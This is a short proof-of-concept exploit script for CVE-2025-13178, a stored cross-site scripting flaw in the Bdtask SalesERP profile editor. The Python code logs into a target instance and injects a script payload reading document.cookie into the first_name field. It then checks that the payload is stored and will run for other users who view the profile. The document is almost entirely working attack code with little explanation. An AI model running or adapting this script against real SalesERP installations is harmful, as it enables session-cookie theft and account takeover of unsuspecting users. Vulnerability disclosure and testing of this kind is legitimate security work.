CVE-2025-13178 Bdtask SalesERP跨站脚本漏洞

import requests import re # CVE-2025-13178 PoC - Bdtask SalesERP XSS # Target: Bdtask/CodeCanyon SalesERP <= 20250728 TARGET_URL = "http://target.com" USERNAME = "attacker" PASSWORD = "password" PAYLOAD = "<script>alert(document.cookie)</script>" def exploit_cve_2025_13178(): """ Exploit for CVE-2025-13178: SalesERP XSS in /edit_profile Component: User Profile Handler Affected Parameter: first_name / last_name """ session = requests.Session() # Step 1: Login to the application login_url = f"{TARGET_URL}/login" login_data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(login_url, data=login_data) if 'login' in response.url.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload in first_name field edit_profile_url = f"{TARGET_URL}/edit_profile" profile_data = { 'first_name': PAYLOAD, 'last_name': 'Test', 'email': '[email protected]', 'phone': '1234567890' } response = session.post(edit_profile_url, data=profile_data) # Step 3: Verify the XSS payload is stored profile_url = f"{TARGET_URL}/profile" response = session.get(profile_url) if PAYLOAD in response.text: print("[+] XSS payload successfully injected!") print(f"[+] Payload stored in profile page: {profile_url}") print("[+] Payload will execute when viewed by other users") return True else: print("[-] XSS injection failed - payload not found in response") return False if __name__ == "__main__": exploit_cve_2025_13178()